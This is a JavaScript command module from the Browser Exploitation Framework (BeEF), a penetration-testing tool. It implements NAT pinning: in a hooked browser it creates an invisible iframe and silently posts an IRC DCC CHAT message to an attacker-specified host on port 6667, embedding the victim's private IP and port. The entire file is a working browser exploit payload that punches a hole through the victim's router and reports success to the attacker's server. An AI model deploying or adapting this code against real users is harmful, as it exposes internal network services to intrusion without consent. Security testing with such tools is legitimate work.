// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var privateip = '<%= @privateip %>'; var privateport = '<%= @privateport %>'; var connectto = '<%= @connectto %>'; function dot2dec(dot){ var d = dot.split('.'); return (((+d[0])*256+(+d[1]))*256+(+d[2]))*256+(+d[3]); } var myIframe = beef.dom.createInvisibleIframe(); var myForm = document.createElement("form"); var action = "http://" + connectto + ":6667/" myForm.setAttribute("name", "data"); myForm.setAttribute("method", "post"); //it must be multipart/form-data so the message appears on separate line myForm.setAttribute("enctype", "multipart/form-data"); myForm.setAttribute("action", action); //create message, refer Samy Kamkar (http://samy.pl/natpin/) x = String.fromCharCode(1); var s = 'PRIVMSG beef :'+x+'DCC CHAT beef '+dot2dec(privateip)+' '+privateport+x+"\n"; //create message textarea var myExt = document.createElement("textarea"); myExt.setAttribute("id","msg_<%= @command_id %>"); myExt.setAttribute("name","msg_<%= @command_id %>"); myForm.appendChild(myExt); myIframe.contentWindow.document.body.appendChild(myForm); //send message myIframe.contentWindow.document.getElementById("msg_<%= @command_id %>").value = s; myForm.submit(); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent'); });